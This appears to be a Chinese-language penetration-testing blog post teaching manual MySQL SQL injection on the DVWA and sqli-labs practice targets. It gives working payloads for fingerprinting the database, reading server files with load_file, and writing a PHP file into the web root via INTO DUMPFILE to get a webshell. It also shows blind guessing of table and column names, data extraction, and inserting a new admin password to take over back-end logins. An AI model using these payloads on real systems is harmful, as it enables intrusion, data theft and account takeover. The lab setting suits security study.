@1kbfree
        
        2018-10-02T14:38:31.000000Z
        字数 2487
        阅读 2030
    渗透

| 函数 | 作用 | 
|---|---|
user() | 
 数据库用户 | 
version() | 
 数据库版本 | 
database() | 
 数据库名称 | 
@@datadir | 
 数据库所在的绝对路径 | 
@@version_compile_os | 
 查看使用的是什么系统 | 
sleep(5) | 
 睡眠5秒 | 
md5() | 
 计算哈希 | 
concat_ws(' - ',user(),database()):把user()和database()用-连接输出 
substring_index('a@b','@',1)|将a@b以@符号分割,然后a会变成1,b会变成2,然后我们只输出1,所以返回的是a
select table_name,table_schema from information_schema.tables:查询数据库中所有数据库名以及他的表名
dvwa这个数据库里的所有表
select table_name,table_schema from information_schema.tables where table_schema='dvwa'


select * from dvwa.users;

select load_file('D://phpStudy//WWW//sql-bug//Less-1//index.php');

select "<?php phpinfo();?>" into dumpfile 'phpinfo2018.php';

如果知道绝对路径的话也可以写在web目录下面,然后就能获取到shell了
如果不能查询information_schema里的内容,那么我们只能够用手工来扫描出所有信息了
and 字段名 is null
如果字段名存在这个表中,就会正常返回。


可以看到上图执行的sql语句是
SELECT first_name, last_name FROM users WHERE user_id = '2' and user is null-- ';
这里会有人问(其实我自己的疑问,但是找出原因了),为什么这个字段存在但是没有id为
2的返回数据呢?这里我们需要看一下is null,这个是因为user的字段存在并且有数据,而他这里说is null,所以是为false的,也可以把如上sql语句想成SELECT first_name, last_name FROM users WHERE user_id = '2' and 1=2-- ';,因为1=2不成立,所以什么数据都不会返回的


那么我们如果某处可以执行
sql语句的话我们就可以利用这个方法来获取他们的字段名,但是如果采用手工的话会非常麻烦,所以这里有一个字段字典,自行下载吧~
字典下载地址: 
链接: https://pan.baidu.com/s/1bAyQnudoLb_oxcrNgwG92g 密码: 6666
这里肯定有人会问为什么要获取到字段名,对吧~,那么下面会讲解的~
首先,上一步我们得知目标数据库是存在一个字段为user的,那么我们想来探测一下他的表名,则可这样
and 表名.user is null
上面我们查询到了这里是存在users字段的,那么因为sql语句中可以以表名.字段名这样子操作,所以我们可以这样子来探测他的表名是否存在


那么我们现在已经得知存在他的表是
users,他有一个字段是user,然后我们进行下一步就明确多了
and (select count(*) from 当前数据库下的其他表)
guestbook表
six表

可以看到成功的被我们注入出正确的表名了~
上面我们已经注入出了表名、字段名,那么我们现在就要来猜出字段下面的内容。
user字段下面的内容(第一种)
可以看到此时程序执行的sql语句是
SELECT first_name, last_name FROM users WHERE user_id = '2' or user='admin';
很容易看懂我也不多说了~
user字段下面的内容(第二种)首先我讲下,第一种方法效率是比较低的,因为你很难完全猜测出目标字段名下的内容,上辈子拯救过地球的人除外,那么我们就应该利用一些更加简单的办法来获取到他字段下面的内容

执行的sql语句是:
SELECT first_name, last_name FROM users WHERE user_id = '' or user like '%a%';
他的意思是找到
user_id为''或者user中存在a的那个数据,可以看到上面是成功返回的,并且直接返回了数据(证明user字段下有数据的内容是为a的,然后我们下一步就猜测存不存在ad,如果返回还是正确我们再猜测是否存在adm,以此类推,效果会更好),那么我们可以按照这些来深入的利用,具体还是得看实际的渗透环境吧~

user字段下并且password的内容我们都知道,登陆的时候一般sql语句都是这样子判断的
select * from user where user=用户名 and password=密码

那么上面我们获取了用户名的内容,但是我们也需要获取到他的密码才能登陆他们的后台对吧,所以我们需要这样
password)错误
password)正确
此时执行的sql语句是
SELECT first_name, last_name FROM users WHERE user_id = '1' or user='iamfree' and password='password';
他的意思是,查询出
user_id='1'的数据,或user='iamfree' and password='password'的那条数据,那么这里是存在的所以他会列出来

但是有时候我们爆出了他们的用户密码,但是他们是通过md5加密的,并且是无法跑出来的那种,但是我们又想要登陆他们后台,那么我们就可以自己来写插入\更新一条md5加密过的密码(当然这个前提是我们需要知道他的字段),然后用自己新加入的账号登陆后台